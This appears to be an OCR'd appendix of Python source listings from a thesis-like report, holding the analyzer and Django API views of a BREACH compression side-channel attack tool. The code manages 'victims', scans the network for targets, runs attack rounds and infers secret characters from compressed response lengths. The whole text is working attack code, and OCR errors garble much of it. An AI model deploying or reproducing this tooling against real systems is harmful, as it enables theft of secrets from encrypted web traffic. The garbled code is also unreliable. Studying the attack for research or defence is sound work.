'candidate_alphabet': candidate_alphabet,
"length': sum(list_of_lengths)
b

# Sort sampleset groups by length.

sorted_candidate_lengths = sorted(
accumulated_candidate_lengths,
key=operator.itemgetter ('length')

logger.debug('\n' + 75 *x '#')
logger .debug('Candidate scoreboard:')
for cand in sorted_candidate_lengths:
logger.debug('\t{}: {}'.format(cand['candidate_alphabet'], cand['
length']))

# Extract candidate with minimum length and the next best competitor
# candidate. In case of binary search, these will be the only two

# candidates.

min_candidate = sorted_candidate_lengths [0]

next_best_candidate = sorted_candidate_lengths[1]

samples_per_candidate = samplesets_per_candidate *
samples_per_sampleset
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# Extract a confidence value, in bytes, for our decision based on the
second-best candidate.

confidence = float(next_best_candidate['length'] - min_candidate['
length']) / samples_per_candidate

# Captured bytes are represented as hex string,
# so we need to convert confidence metric to bytes
confidence /= 2.0

return min_candidate['candidate_alphabet '], confidence

def decide_next_world_state(samplesets):
''"'Take a list of samplesets and extract a decision for a state
transition
with some confidence.

Argument:
samplesets -- a list of samplesets.

This 1list must must contain at least two elements so that we have
some basis

for comparison. Each of the list's elements must share the same world
state

(knownsecret and knownalphabet) so that we are comparing on the same
basis.

The samplesets must contain at least two different candidate
alphabets so

that a decision can be made. It can contain multiple samplesets
collected

over the same candidate alphabet.

Returns a pair with the decision. The first element of the pair is
the new

state of the world; the second element of the pair is the confidence
with

which the analyzer is suggesting the state transition.

L]

# Ensure we have enough sample sets to compare.
assert(len(samplesets) > 1)

# Ensure all samplesets are extending the same known state

knownsecret = samplesets[0].round.knownsecret
round = samplesets[0].round

amount = round.amount

victim = round.victim

target victim.target
for sampleset in samplesets:
assert (sampleset.round == round)

# Split samplesets based on alphabetvector under consideration
# and collect data lengths for each candidate.
candidate_lengths = collections.defaultdict(lambda: [])
candidate_count_samplesets = collections.defaultdict(lambda: 0)
for sampleset in samplesets:
candidate_lengths[sampleset.candidatealphabet].append(len(
sampleset.data))
candidate_count_samplesets [sampleset.candidatealphabet] += 1
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candidate_count_samplesets = candidate_count_samplesets.items ()
samplesets_per_candidate = candidate_count_samplesets [0][1]

for alphabet, count in candidate_count_samplesets:
assert (count == samplesets_per_candidate)

# Ensure we have a decision to make
assert(len(candidate_lengths) > 1)

min_vector, confidence = decide_optimal_candidate(candidate_lengths,
samples_per_sampleset=amount)

# use minimum group's alphabet vector

decision_knownalphabet = min_vector

# known secret remains the same as in all current samplesets
decision_knownsecret = knownsecret

if len(decision_knownalphabet) == 1:
# decision vector was one character, so we can extend the known
secret
decision_knownsecret += decision_knownalphabet
decision_knownalphabet = target.alphabet

state = {
'knownsecret': decision_knownsecret,
'"knownalphabet ': decision_knownalphabet
}

return {

'state': state,

'confidence': confidence

Listing 6.6: analyzer.py

6.7 APIviews

from django.http import Http404, JsonResponse, HttpResponse
from django.views.generic import View

from django.views.decorators.csrf import csrf_exempt
from breach.strategy import Strategy

from breach.models import Target, Victim, Round

from django.core import serializers

from .forms import TargetForm, VictimForm, AttackForm
import json

from django.utils import timezone

from breach.helpers import network

from django.utils.decorators import method_decorator

def get_work(request, victim_id=0):
assert(victim_id)
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try:

victim = Victim.objects.get(pk=victim_id)
except:

raise Http404('Victim not found')

if victim.state == 'paused':
raise Http404('The attack for victim %i is paused' I victim.id)

strategy = Strategy(victim)
new_work strategy.get_work ()

return JsonResponse (new_work)

@csrf_exempt
def work_completed(request, victim_id=0):

assert(victim_id)

realtime_parameters = json.loads(request.body.decode('utf-8'))
assert ('success' in realtime_parameters)

success = realtime_parameters['success']
try:

victim = Victim.objects.get(pk=victim_id)
except:

raise Http404('Victim not found')

strategy = Strategy(victim)
victory = strategy.work_completed(success)

return JsonResponse ({
'victory': victory

b

class TargetView(View):

@method_decorator (csrf_exempt)
def dispatch(self, request, *args, *xkwargs):
return super (TargetView, self).dispatch(request, *args, **kwargs)

def post(self, request):
form = TargetForm(json.loads(request.body.decode('utf-8')))
if form.is_valid():
target = form.save()
return JsonResponse ({
'target_name': target.name

b

def get(self, request):
return JsonResponse ({
'targets': list(Target.objects.all().values())
b

class VictimListView(View):
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@method_decorator (csrf_exempt)
def dispatch(self, request, *args, *xkwargs):

return super (VictimListView, self).dispatch(request, *args, **
kwargs)

def post(self, request):
input_data = json.loads(request.body.decode('utf-8"'))

form = VictimForm(input_data)
if form.is_valid():
victim = Victim.objects.create(
sourceip=input_datal['sourceip'],
)
return JsonResponse ({
'victim_id': victim.id
B
def get(self, request):
victims = Victim.objects.filter(trashed_at=None)
ret_victims = []
for i, victim in enumerate(victims):
if victim.state == 'discovered':
if victim.running_time < 90:
ret_victims.append ({'victim_id': victim.id, 'state':
victim.state, 'sourceip': victim.sourceipl)
else:
ret_victims.append({'victim_id': victim.id, 'state':
victim.state, 'target_name': victim.target.name,
'percentage': victim.percentage, '
running_time': victim.running_time,
'sourceip': victim.sourceipl})

return JsonResponse ({
'victims': ret_victims,

b

class AttackView(View):

@method_decorator (csrf_exempt)
def dispatch(self, request, *args, *xkwargs):
return super (AttackView, self).dispatch(request, *args, **kwargs)

def post(self, request):
input_data = json.loads(request.body.decode('utf-8"'))
if 'id' in input_data:
form = AttackForm(input_data)
if form.is_valid():
target = Target.objects.get(name=input_datal['target'])
victim_id = input_datal['id']

victim = Victim.objects.get(pk=victim_id)

victim.state = 'running'

victim.attacked_at = timezone.now()

victim.target = target

victim.recordscardinality = target.recordscardinality
victim.interface = network.get_interface ()
victim.realtimeurl = 'http://' + network.get_local_IP() +

':3031"
victim.save ()
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else:
form = VictimForm(input_data)
if form.is_valid():
target = Target.objects.get(name=input_datal['target'])
victim = Victim.objects.create(
sourceip=input_datal['sourceip'],
target=target,
recordscardinality=target.recordscardinality,
state='running',
attacked_at=timezone.now (),
interface=network.get_interface(),
realtimeurl="'http://' + network.get_local IP() +
':3031"

Victim.attack(victim)

return JsonResponse ({
'victim_id': victim.id

b

class VictimDetailView(View):
def get(self, request, victim_id):
# get victim with the given ID
victim = Victim.objects.get (pk=victim_id)

rounds = Round.objects.filter(victim__id=victim_id)
attack_details_list = []
for round_details in rounds:
print round_details.id
attack_details_list.extend(round_details.fetch_per_batch_info

0
try:
known_secret = rounds.order_by('-id').reverse() [0].
knownsecret
except:
known_secret = victim.target.prefix

return JsonResponse ({
'id': victim.id,
'victim_ip': victim.sourceip,
'state': victim.state,
'known_secret': known_secret,
'target_name': victim.target.name,
'attack_details': attack_details_list,
'percentage': victim.percentage

b

O@method_decorator (csrf_exempt)
def dispatch(self, request, *args, *xkwargs):

return super(VictimDetailView, self).dispatch(request, *args, **
kwargs)

def put(self, request, victim_id):

victim = Victim.objects.get(pk=victim_id)
if victim.state == 'running':
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victim.state = 'paused'
elif victim.state == 'paused':
victim.state = 'running'
victim.save ()
return HttpResponse (status=200)

def delete(self, request, victim_id):
victim = Victim.objects.get(pk=victim_id)
if not victim.trashed_at:
Victim.delete(victim)
else:
Victim.restore(victim)
return HttpResponse(status=200)

class DiscoveredVictimsView (View):
def get(self, request):

new_victims = []
for victimip in network.scan_network():
victim_exists = Victim.objects.filter(state='discovered',

sourceip=victimip)
if not victim_exists:

victim = Victim.objects.create(sourceip=victimip)

new_victims.append({'sourceip': victim.sourceip, '
victim_id': victim.id})

else:

victim_exists [0].attacked_at = timezone.now()

victim_exists [0].save ()

new_victims.append({'sourceip': victim_exists [0].sourceip
, 'victim_id': victim_exists[0].id})

return JsonResponse ({

'new_victims': new_victims

b

Listing 6.7: views.py
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